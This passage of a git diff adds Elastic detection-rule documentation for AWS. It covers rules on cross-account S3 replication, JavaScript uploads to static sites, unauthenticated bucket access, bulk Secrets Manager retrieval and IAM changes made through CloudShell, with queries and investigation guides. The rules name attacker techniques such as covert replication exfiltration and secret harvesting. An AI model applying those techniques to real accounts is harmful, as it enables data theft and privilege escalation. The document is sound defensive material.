"PutBucketReplication" events where the configured destination account differs from the source bucket's account, indicating potential unauthorized cross-account data movement. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication-walkthrough-2.html/ +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketReplication.html/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Exfiltration + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Bucket Replicated to Another Account* + + +Cross-account S3 replication enables automated copying of S3 objects into a different AWS bucket. While useful for backup and organizational data flows, adversaries may exploit it as a covert exfiltration channel. Once replication is configured, any future writes to the bucket are silently copied to the destination bucket—even if object-level access controls block the attacker’s direct downloads. For this reason, unauthorized replication configuration should be considered high-risk. + +This rule detects successful `PutBucketReplication` events and flags cases where the replication configuration specifies a destination AWS account different from the source. + + +*Possible investigation steps* + + +**Understand who initiated the replication change** +- Inspect `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to identify the actor. +- Review authentication patterns such as federated session names, role chaining via STS, or unfamiliar IAM roles. +- Examine `source.ip`, `source.geo` fields, and `user_agent.original` for unusual locations, automation tools, or anomalous access paths. + +**Examine the replication rule details** +- Inspect `aws.cloudtrail.request_parameters` for: + - The **destination account ID** (`Account=`). + - The **IAM role ARN** used for replication. (`Role=`) + - Any filtering rules (prefixes, tags) that narrow or broaden what will be replicated. + +**Determine whether the destination account is authorized** +- Validate whether the destination AWS account belongs to your AWS Organization. +- Check internal documentation, IaC templates, or tagging standards to confirm whether replication to this account is expected. +- Look for prior legitimate infrastructure workflows such as: + - Centralized logging + - Backup/DR accounts + - Cross-region compliance replicas + +Unrecognized accounts should be treated as a strong exfiltration signal. + +**Assess the scope of potential data exposure** +- Determine whether the bucket contains sensitive or regulated data (PII, financial records, secrets, logs, etc.). +- Identify whether object versioning, lifecycle rules, or access logging were modified recently. +- Check for preceding or subsequent actions such as: + - `PutBucketPolicy` updates granting new principals access + - Creation or modification of IAM roles tied to replication + - `DeleteObject` or `PutObjectRetention` attempts that might pair with exfiltration + +**Correlate with other suspicious activity** +Pivot in CloudTrail on the same principal or same bucket: +- Prior reconnaissance such as `ListBuckets`, `GetBucketReplication`, or `GetBucketPolicy` +- Modification of KMS policies or unexpected encryption key usage +- New access patterns from external IP addresses or unusual automation + + +*False positive analysis* + + +**Legitimate cross-account replication** +Validate: +- The destination account belongs to a known OU or business unit +- The replication role ARN matches expected automation +- The change aligns with documented deployment or maintenance schedules + +**Temporary migrations or transitions** +During account restructuring or workload migration, administrators may temporarily redirect replication to new accounts. + +Tuning options: +- Exception lists based on IAM role ARNs +- Tag-based environment scoping +- Change-window-based suppression + + +*Response and remediation* + + +**Contain potential exfiltration** +- Remove or update replication rules to eliminate unauthorized destinations. +- Disable or restrict the replication IAM role until the investigation is complete. +- Review S3 object access logs to determine whether data has begun replicating to the external account. + +**Investigate scope and impact** +- Identify the volume and types of data at risk of replication. +- Determine whether the external bucket shows successful replication traffic (if logs or access are available). +- Assess whether the actor also modified bucket policies, encryption settings, or KMS keys. + +**Credential and role hygiene** +- Rotate credentials for the initiating user or role if compromise is suspected. +- Review IAM role trust policies, especially if STS sessions or EC2 role assumptions were involved. +- Enable MFA and tighten conditions for administrative roles capable of modifying replication. + +**Hardening and preventive controls** +- Enforce SCPs that restrict cross-account replication except for explicitly approved destinations. +- Require approval workflows before modifying replication or retention settings. +- Use AWS Config and Security Hub controls to detect: + - Buckets with unexpected replication rules + - Newly added cross-account permissions + - Changes to bucket policies, block-public-access settings, or KMS key policies + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where event.dataset == "aws.cloudtrail" + and event.action == "PutBucketReplication" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "Account=") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-s3-static-site-javascript-file-uploaded.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-s3-static-site-javascript-file-uploaded.asciidoc new file mode 100644 index 0000000000..5953d83925 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-s3-static-site-javascript-file-uploaded.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-20-aws-s3-static-site-javascript-file-uploaded]] +=== AWS S3 Static Site JavaScript File Uploaded + +This rule detects when a JavaScript file is uploaded in an S3 static site directory (`static/js/`) by an IAM user or assumed role. This can indicate suspicious modification of web content hosted on S3, such as injecting malicious scripts into a static website frontend. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/ +* https://docs.aws.amazon.com/AmazonS3/latest/userguide/WebsiteHosting.html +* https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutObject.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS S3 +* Tactic: Impact +* Use Case: Web Application Compromise +* Use Case: Cloud Threat Detection +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS S3 Static Site JavaScript File Uploaded* + + +An S3 `PutObject` action that targets a path like `static/js/` and uploads a `.js` file is a potential signal for web content modification. If done by an unexpected IAM user or outside of CI/CD workflows, it may indicate a compromise. + + +*Possible Investigation Steps* + + +- **Identify the Source User**: Check `aws.cloudtrail.user_identity.arn`, access key ID, and session type (`IAMUser`, `AssumedRole`, etc). +- **Review File Content**: Use the S3 `GetObject` or CloudTrail `requestParameters` to inspect the uploaded file for signs of obfuscation or injection. +- **Correlate to Other Events**: Review events from the same IAM user before and after the upload (e.g., `ListBuckets`, `GetCallerIdentity`, IAM activity). +- **Look for Multiple Uploads**: Attackers may attempt to upload several files or modify multiple directories. + + +*False Positive Analysis* + + +- This behavior may be expected during app deployments. Look at: + - The `user_agent.original` to detect legitimate CI tools (like Terraform or GitHub Actions). + - Timing patterns—does this match a regular release window? + - The origin IP and device identity. + + +*Response and Remediation* + + +- **Revert Malicious Code**: Replace the uploaded JS file with a clean version and invalidate CloudFront cache if applicable. +- **Revoke Access**: If compromise is confirmed, revoke the IAM credentials and disable the user. +- **Audit IAM Policies**: Ensure that only deployment users can modify static site buckets. +- **Enable Bucket Versioning**: This can allow for quick rollback and historical review. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws.cloudtrail* metadata _id, _version, _index + +| where + // S3 object write activity + event.dataset == "aws.cloudtrail" + and event.provider == "s3.amazonaws.com" + and event.action == "PutObject" + and event.outcome == "success" + + // IAM users or assumed roles only + and aws.cloudtrail.user_identity.type in ("IAMUser", "AssumedRole") + + // Requests for static site bundles + and aws.cloudtrail.request_parameters like "*static/js/*.js*" + + // Exclude IaC and automation tools + and not ( + user_agent.original like "*Terraform*" + or user_agent.original like "*Ansible*" + or user_agent.original like "*Pulumi*" + ) + +// Extract fields from request parameters +| dissect aws.cloudtrail.request_parameters + "%{{?bucket.name.key}=%{Esql.aws_cloudtrail_request_parameters_bucket_name}, %{?host.key}=%{Esql_priv.aws_cloudtrail_request_parameters_host}, %{?bucket.object.location.key}=%{Esql.aws_cloudtrail_request_parameters_bucket_object_location}}" + +// Extract file name portion from full object path +| dissect Esql.aws_cloudtrail_request_parameters_bucket_object_location "%{}static/js/%{Esql.aws_cloudtrail_request_parameters_object_key}" + +// Match on JavaScript files +| where ends_with(Esql.aws_cloudtrail_request_parameters_object_key, ".js") + +// Retain relevant ECS and dissected fields +| keep + aws.cloudtrail.user_identity.arn, + aws.cloudtrail.user_identity.access_key_id, + aws.cloudtrail.user_identity.type, + aws.cloudtrail.request_parameters, + Esql.aws_cloudtrail_request_parameters_bucket_name, + Esql.aws_cloudtrail_request_parameters_object_key, + user_agent.original, + source.ip, + event.action, + @timestamp, + _id, + _version, + _index + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Defacement +** ID: T1491 +** Reference URL: https://attack.mitre.org/techniques/T1491/ +* Sub-technique: +** Name: External Defacement +** ID: T1491.002 +** Reference URL: https://attack.mitre.org/techniques/T1491/002/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-s3-unauthenticated-bucket-access-by-rare-source.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-s3-unauthenticated-bucket-access-by-rare-source.asciidoc new file mode 100644 index 0000000000..02c6bf52ea --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-s3-unauthenticated-bucket-access-by-rare-source.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-20-aws-s3-unauthenticated-bucket-access-by-rare-source]] +=== AWS S3 Unauthenticated Bucket Access by Rare Source + +Identifies AWS CloudTrail events where an unauthenticated source is attempting to access an S3 bucket. This activity may indicate a misconfigured S3 bucket policy that allows public access to the bucket, potentially exposing sensitive data to unauthorized users. Adversaries can specify --no-sign-request in the AWS CLI to retrieve objects from an S3 bucket without authentication. This is a New Terms rule, which means it will trigger for each unique combination of the source.address and targeted bucket name that has not been seen making this API request. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: Amazon S3 +* Use Case: Asset Visibility +* Resources: Investigation Guide +* Tactic: Collection + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS S3 Unauthenticated Bucket Access by Rare Source* + + +This rule detects requests to an AWS S3 bucket by an unauthenticated source, which could indicate a misconfigured bucket policy allowing public access. Adversaries can exploit this misconfiguration by using tools or AWS CLI options like `--no-sign-request` to access bucket contents. + +The rule triggers when an unauthenticated IP address retrieves an object, and that IP has not been seen in the last 7 days. + + +*Possible Investigation Steps* + + +**Identify the Source of the Request**: + - Review the `source.address` field to determine the IP address of the request source. + - Check `source.geo` fields for geographic details of the originating IP address. + - Analyze the `user_agent.original` field to identify the client or tool used (e.g., `Python Requests`, `aws-cli`, browser). + +**Review the Accessed Bucket and Object**: + - Analyze the `aws.cloudtrail.resources.arn` field to identify the S3 bucket and object being accessed. + - Inspect `aws.cloudtrail.request_parameters` for bucket name and object key to determine which file was retrieved. + - Review the `even.action` field to identify which API call was made (e.g., `GetObject`, `ListObjects`, `PutObject`, `ListBucket`). + +**Validate the Source IP and Context**: + - Determine if the IP address (`source.address`) has any prior activity in your environment. + - Correlate the IP with threat intelligence or blocklist databases to check for malicious indicators. + - Review CloudTrail logs for other activities originating from the same IP. + +**Analyze the S3 Bucket Configuration**: + - Review the S3 bucket's Access Control List (ACL) and bucket policy to check for misconfigurations allowing public or unauthenticated access. + - Look for overly permissive settings, such as `Principal: *` or `Effect: Allow` rules that expose the bucket. + +**Investigate Additional Activity**: + - Check if there are subsequent actions, such as: + - **Additional `GetObject` API calls**: Indicating further data exfiltration. + - **ListObjects requests**: Attempting to enumerate the bucket's contents. + - Correlate events within the same timeframe to identify related suspicious activity. + +**Assess the Data Exposed**: + - Identify the retrieved object(s) and analyze their content to assess potential data exposure. + - Determine if the file contains sensitive information, such as credentials, intellectual property, or PII. + + +*False Positive Analysis* + + +- **Public Buckets by Design**: Some S3 buckets may intentionally allow public access. Verify with the bucket owner if the access was expected. +- **Automated Tools**: Security scanners or legitimate services may generate `GetObject` events to validate bucket configurations. + + +*Response and Remediation* + + +**Immediate Action**: + - Restrict or remove public access to the affected S3 bucket. + - Update the bucket policy to ensure access is restricted to trusted principals. + - Enable **S3 Block Public Access** settings to prevent unintended public access. + +**Monitoring and Detection**: + - Enable detailed logging and monitoring for all S3 bucket activities. + - Configure real-time alerts for unauthenticated `GetObject` or `ListObjects` events on sensitive S3 buckets. + +**Security Audits**: + - Regularly audit S3 bucket policies and ACLs to ensure they adhere to AWS security best practices. + - Use AWS tools like **Trusted Advisor** or **Access Analyzer** to identify and address misconfigurations. + +**Investigate for Data Exfiltration**: + - Analyze historical CloudTrail logs to determine if other sensitive files were accessed or exfiltrated. + - Assess the scope of the exposure and initiate further response if sensitive data was compromised. + + +*Additional Resources* + + +- https://docs.aws.amazon.com/AmazonS3/latest/userguide/example-bucket-policies.html[AWS Documentation: S3 Bucket Policy Best Practices] +- https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html[AWS S3 Block Public Access] + + +==== Setup + + +S3 data events must be enabled in CloudTrail to capture the GetObject, PutObject, ListObjects, and DeleteObject actions. Ensure that the AWS CloudTrail service is configured to log data events for the S3 bucket you'd like to monitor. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "s3.amazonaws.com" + and event.action: ( + "GetObject" or + "PutObject" or + "ListObjects" or + "DeleteObject" or + "ListBucket") + and event.outcome: "success" + and aws.cloudtrail.user_identity.type: ("AWSAccount" or "Unknown") + and cloud.account.id: "anonymous" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Storage Object Discovery +** ID: T1619 +** Reference URL: https://attack.mitre.org/techniques/T1619/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Data Manipulation +** ID: T1565 +** Reference URL: https://attack.mitre.org/techniques/T1565/ +* Sub-technique: +** Name: Stored Data Manipulation +** ID: T1565.001 +** Reference URL: https://attack.mitre.org/techniques/T1565/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-secrets-manager-rapid-secrets-retrieval.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-secrets-manager-rapid-secrets-retrieval.asciidoc new file mode 100644 index 0000000000..b5c966a7cd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-secrets-manager-rapid-secrets-retrieval.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-20-aws-secrets-manager-rapid-secrets-retrieval]] +=== AWS Secrets Manager Rapid Secrets Retrieval + +Identifies rapid secret retrieval activity from AWS Secrets Manager using the GetSecretValue or BatchGetSecretValue API actions. Adversaries who compromise an IAM user, instance role, or temporary credentials may attempt to enumerate or exfiltrate secrets in bulk to escalate privileges, move laterally, or gain persistence. This rule detects 20 or more unique secret retrievals by the same user identity within a short time window, which may indicate credential compromise or automated secret harvesting. + +*Rule type*: threshold + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html +* https://detectioninthe.cloud/ttps/credential_access/access_secret_in_secrets_manager/ +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Secrets Manager +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. +> While every effort has been made to ensure its quality, validate and adapt it for your operational needs. + + +*Investigating AWS Secrets Manager Rapid Secrets Retrieval* + + +AWS Secrets Manager stores sensitive credentials such as database passwords, API keys, OAuth tokens, and service +configuration values. In credential compromise scenarios, attackers frequently attempt to retrieve as many secrets as +possible in a short timeframe to escalate privileges or move laterally across the environment. + +This threshold rule triggers when a single user identity successfully retrieves 20 or more unique secrets using +`GetSecretValue` or `BatchGetSecretValue` within a short timespan. Retrieval of many different secrets in rapid succession is highly unusual and strongly associated with reconnaissance, secret harvesting, or compromised automation. + +Note: `BatchGetSecretValue` API calls the `GetSecretValue` API for each secret value; this alert only captures the `GetSecretValue` calls rather than the `BatchGetSecretValue` call itself. + + +*Possible investigation steps* + + +- **Identify the user or role** + - Review `aws.cloudtrail.user_identity.arn`, `user.name`, and `aws.cloudtrail.user_identity.type`. + - Determine whether the identity normally accesses Secrets Manager or is tied to a known automation workload. + +- **Analyze the set of secrets retrieved** + - Expand the alert in Timeline and review `aws.cloudtrail.request_parameters` for all `SecretId` values in the grouped threshold event. + - Identify whether the accessed secrets include: + - Privileged database credentials + - IAM user or service account credentials + - Production application secrets + - Rarely accessed or high-sensitivity secrets + +- **Assess the runtime context** + - Investigate `source.ip`, `source.geo.location`, and `user_agent.original`. + - Validate whether the calls originated from known internal automation (e.g., ECS task, Lambda runtime, EC2 instance profile) + or from an unexpected IP or user agent. + +- **Correlate with other activity from the same identity** + - Look for related reconnaissance or credential-access events: + - `ListSecrets`, `DescribeSecret` + - IAM enumeration (`ListUsers`, `GetCallerIdentity`) + - Role-chaining or unusual `AssumeRole` flows + - Check for subsequent use of exposed credentials (RDS login attempts, API activity, abnormal resource access). + +- **Determine whether unusual automation or deployment activity is occurring** + - Confirm with application owners whether a new deployment, config reload, or migration might explain the multi-secret access. + + +*False positive analysis* + + +- Legitimate application initialization or rollouts may retrieve many secrets once on startup. +- CI/CD pipelines or configuration management tools may enumerate secrets as part of environment bootstrapping. + +To reduce noise, consider exceptions based on: +- Known service roles +- Expected source IP ranges +- Specific application identities tied to secret orchestration + + +*Response and remediation* + + +- **Containment** + - Immediately revoke or disable the IAM user, role session, or instance profile if compromise is suspected. + - Quarantine EC2/ECS/Lambda resources originating suspicious calls. + +- **Investigation** + - Identify all secrets accessed in the grouped alert and determine where those credentials are used. + - Review CloudTrail for any suspicious follow-on activity using the retrieved secrets. + - Assess whether additional identities or workloads show similar enumeration behavior. + +- **Recovery and hardening** + - Rotate all accessed secrets and update dependent systems. + - Rotate IAM access keys or temporary credentials for the impacted identity. + - Restrict permissions to Secrets Manager following least privilege. + - Review automation and application behavior to ensure secrets are accessed only when required. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "secretsmanager.amazonaws.com" + and event.action: "GetSecretValue" + and event.outcome: "success" + and not ( + user_agent.name: ("Chrome" or "Firefox" or "Safari" or "Edge" or "Brave" or "Opera") + or source.address: ("kafka.amazonaws.com" or "apidestinations.events.amazonaws.com") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Cloud Secrets Management Stores +** ID: T1555.006 +** Reference URL: https://attack.mitre.org/techniques/T1555/006/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Databases +** ID: T1213.006 +** Reference URL: https://attack.mitre.org/techniques/T1213/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sensitive-iam-operations-performed-via-cloudshell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sensitive-iam-operations-performed-via-cloudshell.asciidoc new file mode 100644 index 0000000000..620cb1ee49 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sensitive-iam-operations-performed-via-cloudshell.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-20-aws-sensitive-iam-operations-performed-via-cloudshell]] +=== AWS Sensitive IAM Operations Performed via CloudShell + +Identifies sensitive AWS IAM operations performed via AWS CloudShell based on the user agent string. CloudShell is a browser-based shell that provides command-line access to AWS resources directly from the AWS Management Console. While convenient for administrators, CloudShell access from compromised console sessions can enable attackers to perform privileged operations without installing tools or using programmatic credentials. This rule detects high-risk actions such as creating IAM users, access keys, roles, or attaching policies when initiated from CloudShell, which may indicate post-compromise credential harvesting or privilege escalation activity. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/cloudshell/latest/userguide/welcome.html +* https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS IAM +* Tactic: Persistence +* Tactic: Privilege Escalation +* Use Case: Threat Detection +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Sensitive IAM Operations Performed via CloudShell* + + +AWS CloudShell is a browser-based shell environment that provides instant command-line access to AWS resources without requiring local CLI installation or credential configuration. While this is convenient for legitimate administrators, it also provides adversaries with a powerful tool if they gain access to a compromised AWS console session. Attackers can use CloudShell to perform sensitive operations without leaving artifacts on their local systems. + +This rule detects high-risk IAM operations performed via CloudShell, including credential creation, user management, and policy attachment. These actions are commonly seen in post-compromise scenarios where attackers establish persistence or escalate privileges. + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` to determine which IAM principal performed the action. + - Check `source.ip` and `source.geo` fields to verify the request origin matches expected administrator locations. + - Investigate the console login event that established the CloudShell session. + +- **Analyze the specific action** + - Review `event.action` to understand exactly what operation was performed. + - For `CreateAccessKey` or `CreateUser`, identify the target principal and assess whether this was authorized. + - For policy attachments, review which policies were attached and to which entities. + +- **Review request and response details** + - Examine `aws.cloudtrail.request_parameters` for specifics like user names, policy ARNs, or role configurations. + - Check `aws.cloudtrail.response_elements` for created resource identifiers. + +- **Correlate with surrounding activity** + - Search for preceding events such as `ConsoleLogin` from the same session or IP address. + - Look for MFA bypass indicators or unusual login patterns before CloudShell usage. + - Check for subsequent use of any created credentials or roles. + +- **Assess the broader context** + - Determine if this CloudShell usage pattern is typical for this user. + - Review recent access patterns for the console session that initiated CloudShell. + + +*False positive analysis* + + +- Routine administrative tasks using CloudShell are common in some organizations. Create baseline profiles for users who regularly use CloudShell. +- Infrastructure automation testing may involve CloudShell for quick validation. Verify with the user. + + + +*Response and remediation* + + +- If unauthorized, immediately terminate the console session and revoke any created credentials. +- Rotate credentials for any IAM users or roles that may have been compromised. +- Review and remove any unauthorized users, access keys, roles, or policy attachments. +- Consider restricting CloudShell access via SCPs or IAM policies for sensitive accounts. +- Implement session duration limits to reduce the window of opportunity for console session abuse. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: ( + "CreateAccessKey" or + "CreateUser" or + "AttachUserPolicy" or + "PutUserPolicy" or + "CreateRole" or + "AttachRolePolicy" or + "PutRolePolicy" or + "CreateInstanceProfile" or + "AddRoleToInstanceProfile" + ) + and event.outcome: "success" + and user_agent.original: *CloudShell* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-service-quotas-multi-region-getservicequota-requests.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-service-quotas-multi-region-getservicequota-requests.asciidoc new file mode 100644 index 0000000000..ea92f2dc69 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-service-quotas-multi-region-getservicequota-requests.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-20-aws-service-quotas-multi-region-getservicequota-requests]] +=== AWS Service Quotas Multi-Region GetServiceQuota Requests + +Identifies when a single AWS principal makes GetServiceQuota API calls for the EC2 service quota L-1216C47A, across more than 10 AWS regions within a 30-second window. This quota represents the vCPU limit for on-demand EC2 instances. Adversaries commonly enumerate this quota across regions to assess capacity for large-scale instance deployment, including cryptocurrency mining, malware hosting, or command-and-control infrastructure. This behavior may indicate cloud infrastructure discovery using compromised credentials or a compromised workload. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.sentinelone.com/labs/exploring-fbot-python-based-malware-targeting-cloud-and-payment-services/ +* https://docs.aws.amazon.com/servicequotas/2019-06-24/apireference/API_GetServiceQuota.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Service Quotas +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + 